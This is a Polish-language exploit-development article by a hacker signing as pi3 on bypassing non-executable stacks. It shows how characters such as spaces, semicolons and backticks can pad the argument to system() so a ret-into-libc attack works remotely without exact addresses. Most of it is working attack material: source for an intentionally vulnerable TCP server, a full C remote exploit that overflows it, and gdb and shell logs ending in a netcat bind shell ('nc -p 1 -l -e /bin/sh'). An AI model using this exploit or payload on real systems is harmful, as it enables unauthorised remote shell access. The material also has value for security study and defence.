################################################# ## Zaawansowane wykorzystanie funkcji system() ## ################################################# 1. Wstęp. Ostatnimi czasy powstało bardzo dużo tak zwanych patchy na jądra poprawiających bezpieczeństwo systemu. Podstawową rzeczą, jaką robi ten path, jest zdjęcie atrybutu wykonywalności dla przestrzeni stosu. Co to daje w praktyce? Otóż gdy atakujący próbuje wykorzystać błąd buffer overflowa w oprogramowaniu, to umieszcza kod powłoki (tak zwany shellcode) na stosie i zmienia adres powrotny funkcji tak, by wskazywał na owy kod. Istnieją techniki, które ułatwiają trafić w owy adres, gdzie leży shellcode (jak na przykład technika pułapki NOP - czyli zapisanie przed naszym shellcodem jak najwięcej instrukcji NOP np: '\x90', która nic nie robi w praktyce i przesuwa %eip dalej. W konsekwencji NOP instrukcja jest wykonywana do czasu, aż nie trafi się w początek shellcodu, oczywiście warunkiem takiego działania jest trafienie w instrukcję NOP, co jest stosunkowo proste przy jej dużej ilości. Drugą techniką, która ułatwia życie atakującemu, jest umieszczenie shellcodu w pamięci zmiennych środowiskowych). Wszystko to jednak zawodzi w zetknięciu z niewykonywalną przestrzenią stosu. Na (nie)szczęście istnieją techniki, które omijają owe zabezpieczenie. Jedną z najbardziej efektywnych jest technika powrotu do funkcji biblioteki libc (ret-into-libc). Zakładam, iż czytelnik zna wyżej wymienioną metodę, gdyż jest to niezbędnym minimum, by zrozumieć ten artykuł. 2. Specyfikacja funkcji system(). Funkcja system() nie jest zbyt doskonała dla atakującego. Przyczyną takiej kolei rzeczy jest sposób, w jaki przetwarza ona swoje argumenty. Otóż funkcja ta wraca do powłoki sh i wywołuje argumenty jako komenda dla tejże powłoki (sh -c ). Wszystko byłoby dobrze, gdyby nie to, iż sh sam sobie odbiera prawa w przypadku, gdy uid != euid, co w konsekwencji prowadzi do nieotrzymania praw, jakie chcemy uzyskać (np. w przypadku exploitowania dziur w oprogramowaniu suidowym nie otrzymamy praw roota - uid 0). Jednak użycie tejże funkcji nie jest głupią sprawą w przypadku exploitowania zdalnych dziur w oprogramowaniu, ponieważ wtedy prawa nie zostaną zrzucone, bo nie mają z czego być zrzucone ;-) Ok, może i prawda, gdyby nie fakt, iż exploitowanie zdalne przy użyciu techniki ret-into-libc jest bardzo, ale to bardzo trudne... Jednak nie niemożliwe... 3. Teoria. Cała trudność polega na tym, iż podczas używania tejże techniki wymagana jest znajomość dokładnych adresów do argumentów. Jednak po dłuższym zastanowieniu się, przypominając sobie technikę, która pomagała nam w klasycznym exploitowaniu dziur, w trafieniu we właściwy adres początku shellcodu, stwierdzimy, iż podobną technikę można użyć, wykorzystując specyfikację powłoki sh. Można użyć spacji (' ') jako instrukcję NOP dla funkcji system(), separatorów (';'), wcięcia ('`') czy też slash'a ('/'). 4. Praktyka. I - bezpośrednie stosowanie. a) spacja (' ') O ile sprawa ze spacją okazuje się dobra do lokalnego wykorzystania dziur, o tyle w zdalnym jego wykorzystaniu sprawa przedstawia się troszkę zmiennie. Mianowicie, gdy używamy spacji, tworząc (klasycznie) bufor, który mniej więcej wygląda tak: | NOPy (spacja ;>) | komenda (np. nc...) | system() addr | 4 bytes shits | NOP addr | Czy to będzie działać? Odpowiedź nie brzmi jednoznacznie ;-) Otóż zróbmy mały test: root@pi3:~# `perl -e 'print " "x90'`/bin/shLEET -bash: /bin/shLEET: Nie ma takiego pliku ani katalogu root@pi3:~# LEET w tym przypadku to adres jakiś tam, który odpowiada adresowi funkcji system() w naszym buforze (reszta adresów na razie jest nieważna). Jak widzimy dane będą się nam kolidować. A co będzie, gdy faktyczny argument dla funkcji system() umieścimy gdzieś pod pod koniec bufora, czyli NOPy będą i przed i po argumencie. Sprawdźmy: root@pi3:~# `perl -e 'print " "x90'`/bin/sh`perl -e 'print " "x20'`LEET LEET: LEET: Nie ma takiego pliku ani katalogu root@pi3:~# exit logout Hm... jak widać dalej nie otrzymaliśmy pożądanego efektu (wydając komendę exit sprawdzam, czy rzeczywiście powłoka nie została odpalona). Czy to oznacza, iż nie jest efektywne korzystanie w zdalnym wykorzystywaniu dziur spacji jako instrukcji NOP? Otóż nie, można temu zaradzić w prosty sposób, ale o tym później. b) separator (';') Jak się ma sprawa z separatorem ';'? Otóż pod pewnym względem gorzej, niż ze spacją, ponieważ dwa separatory nie mogą być obok siebie. Da się to ominąć podczas wstawienia byle czego między separatorami. Przetestujmy: root@pi3:~# ;;;;;;;/bin/sh bash: syntax error near unexpected token ;' root@pi3:~# ;a;a;a;a;a;a;a;/bin/sh bash: syntax error near unexpected token ;a' root@pi3:~# a;a;a;a;a;a;a;a;/bin/sh bash: a: command not found bash: a: command not found bash: a: command not found bash: a: command not found bash: a: command not found bash: a: command not found bash: a: command not found bash: a: command not found root@pi3:~# exit exit root@pi3:~# Jak widać, wszystko jest wedle naszej myśli. Jest jednak to mniej estetyczne działanie niż użycie spacji jako instrukcji NOP dla funkcji system(). Sprawa ze zdalnym wykorzystaniem dziur jest jednak inna niż ze spacją. Możemy oddzielić koniec argumentu poprzez dodanie na końcu separatora i jakiegoś znaku, na przykład ";a". Wszystko się odpali ładnie, z tym że w takim przypadku nachodzą pewne ograniczenia, a mianowicie ilość separatorów + ilość znaków je oddzielających + komenda nie może przekraczać stałej path_name, która w systemie Linux wynosi 4095. c) slash ('/') Z tym z kolei sprawa ma się podobnie jak przy separatorze ';'. Otóż cały bufor nie może przekraczać zmiennej path_name, która jak już pisałem w systemie Linux wynosi 4095. Sprawdźmy: root@pi3:~# `perl -e 'print "/"x4089'`/bin/sh bash: /bin/sh: File name too long root@pi3:~# `perl -e 'print "/"x4088'`/bin/sh root@pi3:~# exit exit root@pi3:~# Wszystko jest jak przewidzieliśmy. Będzie napewno działać przy wykorzystaniu lokalnych dziór, gdy zajdą powyższe warunki, ale jak się ma sprawa ze zdalnym wykorzystaniu? Otóż podobnie jak ze spacją na sam koniec doklejane beda losowe dane. d) wcięcie Jak wiadomo, powłoka wywołuje niezależnie komendy, które są wpisywane między dwoma wcięciami, a efekt komend można przekazać jako argument dla następnej komendy. Oto przykład: root@pi3:~# ls -al `which gdb` -rwxr-xr-x 1 root bin 1487416 Mar 19 2001 /usr/bin/gdb* root@pi3:~# W porządku, działa, ale jak to można użyć jako instrukcję NOP dla funkcji system() ?? Otóż jeżeli między dwoma wcięciami nic się nie znajduje, nic nie jest wykonywane. Spójrzmy: root@pi3:~# ```````` root@pi3:~# Jest jednak mały detal, by ta technika zadziałała. Otóż liczba wcięć przed komendą musi być parzysta. Użycie tejże techniki lokalnie możemy zobaczyć, oglądając exploit'a na nieznaczący bug w ftpdctl (dodatkowy program w deamonie ProfFTPd), który możemy znaleźć pod adresem: http://pi3.int.pl/private/0day/p_ftpdctl.c Jak się ma sprawa ze zdalnym wykorzystaniem dziur? Sprawdźmy na wrażliwym serwerze: --- CUT HERE --- #include #include #include #include #include #include #include #include #include #define PORT 666 #define PIDFILE "/var/run/vuln_server.pid" #define err_sys(a) {printf("%s",a);exit(-1);} #define SA struct sockaddr int vuln_func(char *args,int fd); void sig_chld(int signo); int main(void) { int status,dlugosc,port=PORT,sockfd,connfd,listenfd; struct sockaddr_in serv,client; char buf[200]; pid_t pid; FILE *logs; if ( (listenfd=socket(PF_INET, SOCK_STREAM, 0)) < 0) err_sys("Socket() error!\n"); bzero(&serv,sizeof(serv)); bzero(&client,sizeof(client)); serv.sin_family = PF_INET; serv.sin_port = htons(port); serv.sin_addr.s_addr=htonl(INADDR_ANY); if ( (bind(listenfd,(SA*)&serv,sizeof(serv))) != 0 ) err_sys("Bind() error!\n"); if ((listen(listenfd,2049)) != 0) err_sys("Listen() error!\n"); status=fork(); if (status==-1) err_sys("[FATAL]: cannot fork!\n"); if (status!=0) { logs=fopen(PIDFILE, "w"); fprintf(logs,"%u",status); printf("\nLaunched into background (pid: %d)\n\n", status); fclose(logs); logs=NULL; return 0; } status=0; signal (SIGCHLD,sig_chld); for (;;) { dlugosc = sizeof client; if ( (connfd=accept(listenfd,(SA*)&client,&dlugosc)) < 0) { if (errno = EINTR) continue; else err_sys("Accept error !\n"); } if ( (pid=fork()) == 0) { if ( close(listenfd) !=0 ) err_sys("Close error !\n"); write(connfd,"Some leet server (smtp?) lunched by user nobody\nPlease write \"help\"\n",68); go: bzero(buf,sizeof(buf)); recv(connfd, buf, sizeof(buf), 0); if ( (vuln_func(buf,connfd)) == 1) goto go; close(connfd); exit(0); } close(connfd); } } int vuln_func(char *args,int fd) { char buf[100]; if ( (strcmp(args,"help")) == 0) { yo: write(fd,"help:\n",6); write(fd," [*] vuln \n",17); write(fd," [*] help\n",10); write(fd," [*] quit\n",10); return 1; } if ( (strncmp(args,"vuln",4)) == 0) { write(fd,"Vuln runing...\nCopying bytes...",31); strcpy(buf,args+5); write(fd,"\nDONE\nReturn to the main loop\n",30); return 1; } if ( (strncmp(args,"quit",4)) == 0) { write(fd,"Exiting...\n",11); return 0; } else goto yo; return 1; } void sig_chld(int signo) { pid_t pid; int stat; while ( (pid = waitpid(-1, &stat, WNOHANG)) > 0) printf("child %d terminated\n",pid); return; } --- CUT HERE --- Ok skompilujmy server i zobaczymy czy dzia3a: root@pi3:~# cc server.c -o server root@pi3:~# ./server Launched into background (pid: 1382) root@pi3:~# telnet 0 666 Trying 0.0.0.0... Connected to 0. Escape character is '^]'. Some leet server (smtp?) lunched by user nobody Please write "help" help help: [*] vuln [*] help [*] quit vuln AAA Vuln runing... Copying bytes... DONE Return to the main loop quit child 1384 terminated Exiting... Connection closed by foreign host. root@pi3:~# Ok, serwer działa, teraz spróbujmy wykorzystać wrażliwą funkcję: root@pi3:~# ulimit -c unlimited root@pi3:~# echo `perl -e 'print "A"x129'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA root@pi3:~# telnet 0 666 Trying 0.0.0.0... Connected to 0. Escape character is '^]'. Some leet server (smtp?) lunched by user nobody Please write "help" vulnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA child 1391 terminated Vuln runing... Copying bytes... DONE Return to the main loop Connection closed by foreign host. root@pi3:~# Ok, nasza sesja się zamknęła. Sprawdźmy plik core: root@pi3:~# gdb -q ./server core Core was generated by `./s'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) p system $1 = {} 0x4005de80 <__libc_system> (gdb) quit root@pi3:~# Ok. Serwer nadpisał adres powrotny. Spróbujmy wyexploitować ten bug, wykorzystując technikę ret-into-libc i specyfikację funkcji system(). Najpierw jednak zastanówmy się, co chcemy odpalić. Doskonałym wyborem wydaje się wykorzystanie netcat'a w tej sytuacji (nc), by zbindowa port. Spójrzmy: root@pi3:~# nc -p 1 -l -e /bin/sh& [1] 5305 root@pi3:~# telnet 127.0.0.1 1 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. pwd; /root : command not found exit; Connection closed by foreign host. [1]+ Exit 127 nc -p 1 -l -e /bin/sh root@pi3:~# Ok, ładnie się zbindował ;-) Teraz mniej więcej obliczmy, jak powinien wyglądać argument dla serwera wysłany, by funkcja system() uruchomiła program netcat. Po 1. adres %%eip zaczyna się nadpisywać naszymi danymi, poczynając od 129 znaku, który wysłaliśmy (przy programie skompilowanym na kompilatorze gcc z serji 3.x. Na gcc z numerkiem 2.95.4 normalnie tak jak powinno być przy 108 - 4 bajty poza bufor nadpisują wskaźnik stosu (sfp), a 4 następne nasz ukochany rejestr %%eip. Natomiast na kompilatorze z numerkiem 2.95.3 przy 109 nie wiem, czemu ;>), ale argument musi być krótszy, ponieważ 4 znaki to argument dla serwera, by wywołał wrażliwą funkcję. Argument dla funkcji system() zawiera 24 znaki. Policzmy więc, od którego argumentu należy zapisać adres funkcji system(): 125-24=101. Jeszcze jest jeden ważny detal. Otóż na niektórych maszynach, na których to testowałem (pewnie znów zależy to od kompilatora gcc z serii na której kompilowaliśmy server ;/) niby funkcja system() została odpalona, ale naprawdę nie jest odpalana. Czemu tak jest? Nie wiem, ale by temu zaradzić, wystarczy kilka razy pod rząd zapisać adres funkcji system() do buforu. Ponieważ i tak nie zakłóci nam to naszych zamiarów, możemy to bez konsekwencji zrobić. Stwórzmy więc kod exploita wedle tego, co napisałem (exploit został napisany dla servera kompilowanego na kompilatorze gcc 3.x, dlatego zaczynamy pisac adres funkcji libc system() od 129 bajtu): root@pi3:~# cat exp.c #include #include #include #include #include #include #include #include #include #define PORT 666 #define BUFS 150 #define LIBC_SYSTEM 0x4005de80 #define LIBC_NEXT__ 0x4D414441 // my name in little endian system ;> #define SA struct sockaddr long ret_ad(void) { return 0xbffff890; } int ussage(char *arg) { printf("\n\t...::: -=[ PoC for server by pi3 (pi3ki31ny) ]=- :::...\n"); printf("\n\tUssage:\n\t[+] %s [options]\n",arg); printf(" -? \n"); printf(" -o \n"); printf(" -p port\n"); printf(" -h \n\n"); exit(-1); } int main(int argc, char *argv[]) { long ret, *buf_addr; char *buf; struct sockaddr_in servaddr; struct hostent *h; int i, port=PORT, opt, sockfd, test=0, offset=0; while((opt = getopt(argc,argv,"p:o:h:?")) != -1) { switch(opt) { case 'o': offset=atoi(optarg); break; case 'p': port=atoi(optarg); break; case 'h': test=1; if ((h=gethostbyname((char*)optarg)==NULL)) { printf("Gethostbyname() field!\n"); exit(-1); } break; case '?': default: ussage(argv[0]); break; } } if (test==0) ussage(argv[0]); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(port); servaddr.sin_addr.s_addr = htonl(INADDR_ANY); if (!(buf=(char*)malloc(BUFS))) { printf("\nI can\'t locate memory! - buf\n"); exit(-1); } printf("\n\t...::: -=[ PoC for server by pi3 (pi3ki31ny) ]=- :::...\n"); printf("\n\t[+] Bulding buffors!\n"); printf("\t[+] Using LIBC_SYSTEM adres 0x%x\n",LIBC_SYSTEM); printf("\t[+] Using LIBC_NEXT__ adres 0x%x\n",LIBC_NEXT__); printf("\t[+] Using \"/BIN/SH\" adres 0x%x\n",ret_ad()); bzero(buf,sizeof(buf)); strcpy(buf,"vuln"); for (i=0x00;i<120;i++) { buf[4+i]='`'; } strcpy(&buf[108],"nc -p 1 -l -e /bin/sh"); buf_addr=(long*)&buf[129]; *(buf_addr++) = LIBC_SYSTEM; *(buf_addr++) = LIBC_SYSTEM; *(buf_addr++) = LIBC_SYSTEM; *(buf_addr++) = LIBC_NEXT__; *(buf_addr++) = ret_ad(); if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) <0 ) { printf("Socket() error!\n"); exit(-1); } if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) <0 ) { printf("Connect() error!\n"); exit(-1); } printf("\nSending packet...\n\n"); write(sockfd,buf,strlen(buf)); write(sockfd,"quit",4); printf("BuF = %s",buf); return 0; } root@pi3:~# cc exp.c -o e exp.c:25:11: warning: multi-line string literals are deprecated exp.c: In function `main': exp.c:57: warning: comparison between pointer and integer exp.c:57: warning: assignment makes pointer from integer without a cast root@pi3:~# ./e -h 0 root@pi3:~# ps aux root 6665 1.0 0.8 1424 532 ? S 00:24 0:00 nc -p 1 -l -e /bin/sh???@???@???@AADM?oy???@ root@pi3:~# telnet 127.0.0.1 1 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. exec /bin/sh?@?@?@AADMo@ failed : No such file or directory Connection closed by foreign host. root@pi3:~# Czemu się nie odpaliło to, co chcieliśmy? Może daliśmy zły adres pod argument dla system() ? Sprawdźmy: root@pi3:~# ls -al core -rw------- 1 root root 57344 2004-06-28 23:52 core root@pi3:~# gdb -q ./s core Core was generated by `./s'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x4d414441 in ?? () (gdb) x/40x 0xbffff890 0xbffff890: 0x60606060 0x60606060 0x60606060 0x60606060 0xbffff8a0: 0x60606060 0x60606060 0x60606060 0x60606060 0xbffff8b0: 0x60606060 0x60606060 0x60606060 0x60606060 0xbffff8c0: 0x60606060 0x60606060 0x60606060 0x60606060 0xbffff8d0: 0x60606060 0x60606060 0x60606060 0x60606060 0xbffff8e0: 0x60606060 0x60606060 0x60606060 0x20636e60 0xbffff8f0: 0x2f20652d 0x2f6e6962 0x2d206873 0x702d206c 0xbffff900: 0x05de8020 0x05de8040 0x05de8040 0x41444140 0xbffff910: 0xfff8904d 0x40149abf 0x00000000 0x00000000 0xbffff920: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) quit Jak widać, adres był dobry, ponieważ znak ukryty pod cyfrą w systemie szesnastkowym 0x60 jest znakiem naszego wcięcia '`'. Jednak przypomnijmy sobie, co mówiliśmy podczas exploitowania zdalnych dziur, chcąc użyć innych znaków, które by mogły służyć jako instrukcja NOP dla funkcji system(). Nie oddzielają one argumentu od danych zawartych na stosie. Ta sama sytuacja zaszła tu, na szczęście jest sposób przy wykorzystaniu wcięć, by to ominąć (W tej sytuacji można w prosty sposób ominąć ten haczyk poprzez danie dla netcat'a na końcu parametru, który odpowiada za numer otwieranego portu, ponieważ netcat dla niego automatycznie usuwa znaki, które nie są cyframi. Specjalnie jednak dałem inaczej, by urzeczywistnić powyższą sytuację). Otóż niech argument dla system() będzie zawarty między znakami wcięcia, wtedy wszystko powinno wykonać się tak, jak powinno. Sprawdźmy: root@pi3:~# cat exp.c #include #include #include #include #include #include #include #include #include #define PORT 666 #define BUFS 150 #define LIBC_SYSTEM 0x4005de80 #define LIBC_NEXT__ 0x4D414441 // my name in little endian system ;> #define SA struct sockaddr long ret_ad(void) { return 0xbffff890; } int ussage(char *arg) { printf("\n\t...::: -=[ PoC for server by pi3 (pi3ki31ny) ]=- :::...\n"); printf("\n\tUssage:\n\t[+] %s [options]\n",arg); printf(" -? \n"); printf(" -o \n"); printf(" -p port\n"); printf(" -h \n\n"); exit(-1); } int main(int argc, char *argv[]) { long ret, *buf_addr; char *buf; struct sockaddr_in servaddr; struct hostent *h; int i, port=PORT, opt, sockfd, test=0, offset=0; while((opt = getopt(argc,argv,"p:o:h:?")) != -1) { switch(opt) { case 'o': offset=atoi(optarg); break; case 'p': port=atoi(optarg); break; case 'h': test=1; if ((h=gethostbyname((char*)optarg)==NULL)) { printf("Gethostbyname() field!\n"); exit(-1); } break; case '?': default: ussage(argv[0]); break; } } if (test==0) ussage(argv[0]); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(port); servaddr.sin_addr.s_addr = htonl(INADDR_ANY); if (!(buf=(char*)malloc(BUFS))) { printf("\nI can\'t locate memory! - buf\n"); exit(-1); } printf("\n\t...::: -=[ PoC for server by pi3 (pi3ki31ny) ]=- :::...\n"); printf("\n\t[+] Bulding buffors!\n"); printf("\t[+] Using LIBC_SYSTEM adres 0x%x\n",LIBC_SYSTEM); printf("\t[+] Using LIBC_NEXT__ adres 0x%x\n",LIBC_NEXT__); printf("\t[+] Using \"/BIN/SH\" adres 0x%x\n",ret_ad()); bzero(buf,sizeof(buf)); strcpy(buf,"vuln"); for (i=0x00;i<120;i++) { buf[4+i]='`'; } strcpy(&buf[106],"`nc -p 1 -l -e /bin/sh`"); buf_addr=(long*)&buf[129]; *(buf_addr++) = LIBC_SYSTEM; *(buf_addr++) = LIBC_SYSTEM; *(buf_addr++) = LIBC_SYSTEM; *(buf_addr++) = LIBC_NEXT__; *(buf_addr++) = ret_ad(); if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) <0 ) { printf("Socket() error!\n"); exit(-1); } if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) <0 ) { printf("Connect() error!\n"); exit(-1); } printf("\nSending packet...\n\n"); write(sockfd,buf,strlen(buf)); write(sockfd,"quit",4); printf("BuF = %s",buf); return 0; } root@pi3:~# cc exp.c -o e exp.c:25:11: warning: multi-line string literals are deprecated exp.c: In function `main': exp.c:57: warning: comparison between pointer and integer exp.c:57: warning: assignment makes pointer from integer without a cast root@pi3:~# ./e -h 0 root@pi3:~# ps aux root 6476 1.3 1.7 4420 1108 ? S 00:14 0:00 sh -c ````````````````````````````````````````````````````````` root 6477 0.0 1.8 4420 1124 ? S 00:14 0:00 sh -c ````````````````````````````````````````````````````````` root 6478 0.0 0.8 1424 532 ? S 00:14 0:00 nc -p 1 -l -e /bin/sh root 6479 0.0 1.3 2800 852 pts/21 R 00:14 0:00 ps aux root@pi3:~# telnet 127.0.0.1 1 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. pwd; /root : command not found exit; Connection closed by foreign host. root@pi3:~# BOOM! Oto nam chodziło!!! II - niebezpośrednie stosowanie. ** - nie będę tu wklejać kodów exploitów, tylko napiszę praktycznie to, co testowałem i mi się wykonało to, co zamierzałem. a) spacja (' ') + separator (';') W paragrafie o spacji (3-I,a) mówiłem, że podam sposób na ominięcie niebezpieczeństwa z przypadkowym doklejaniem do faktycznych argumentów danych. Jednym z nich jest połączenie separatora ze spacją; spójrzmy, jak to może działać: root@pi3:~# `perl -e 'print " "x90'`/bin/sh; root@pi3:~# exit exit root@pi3:~# Jak widać, powłoka się odpaliła tak, jak chcieliśmy. Najlepiej po separatorze zawsze dodać jakieś tam dane (np. pojedynczą literkę 'A' ;>). b) spacja (' ') + wcięcie ('`') Można też argument, który chcemy wywołać, zawrzeć po spacji, a po argumencie użyć wcięć, co zapobiegnie doklejeniu się danych. Spójrzmy, jak to ma mniej więcej wyglądać: root@pi3:~# `perl -e 'print " "x90'`/bin/sh`` root@pi3:~# exit exit root@pi3:~# Znów powłoka ładnie się odpaliła. c) separator (';') i omijanie ograniczeń (śmiecie) Jak się okazuje, ograniczenia ze stałą path_len można ominąć poprzez zwykłe dane, które mogą być losowe. O co chodzi? Otóż gdy damy byle jaki ciąg danych niezależnie od jego długości, a bezpośrednio po nim separator, po separatorze komendę, którą chcemy, by funkcja wywołała, a po niej znów separator i choćby (jak już wyżej wspomniałem) jakiś bajt (śmieć), to uzyskamy porządany efekt. Sprawdźmy: root@pi3:~# `perl -e 'print "A"x9000'`;/bin/sh;a -bash: : command not found root@pi3:~# exit exit-bash: a: command not found root@pi3:~# Wszystko poszło po naszej myśli ;-) d) inne Powyższą technikę ze śmieciami można używać w połączeniu z wcięciami, tylko nie wiem, czy jest sens (jednak wtedy musowo użyć na początku i końcu argumentu wcięcia ponieważ z niewiadomych mi przyczyn powłoka wchodzi w nieskończoną petlę - ale sygnały obsługuje ;>) ;-) Można również łączyć separator i śmiecie oraz można połączyć separator z wcięciami (też nie ma sensu ;>) Łączenie natomiast spacji i separatora nie wyjdzie, a wynika to z tego, iż separatory nie mogą być obok siebie. 5. Zakończenie. Jak się okazuje, niemusowo znać dokładnych adresów do argumentu dla funkcji, by móc wykorzystać zdalnie technikę ret-into-libc! Jednak nadal nieznane jest mi zdalne zdobycie adresu funkcji libc. Jedyne, co przychodzi na myśl, jest to zdalny fingerprinting i sprawdzenie na maszynie z takim samym OS'em i platformą, do której mam dostęp adres funkcji. No i jeszcze nierozwiązana zostaje kwestia kompilatora użytego na zdalnej maszynie do skompilowania programu wrażliwego ;-) Nie chodzi w tym jednak o to, lecz o pokazanie kroku naprzód dla zdalnego wykorzystania techniki powracania do funkcji biblioteki libc (ret-into-libc). BIG greetz to appelast, Sol and P3rshing. Best regards pi3 (pi3ki31ny). ...::: -=[ www.pi3.int.pl ]=- :::... -- pi3 (pi3ki31ny) - pi3ki31ny wp pl http://www.pi3.int.pl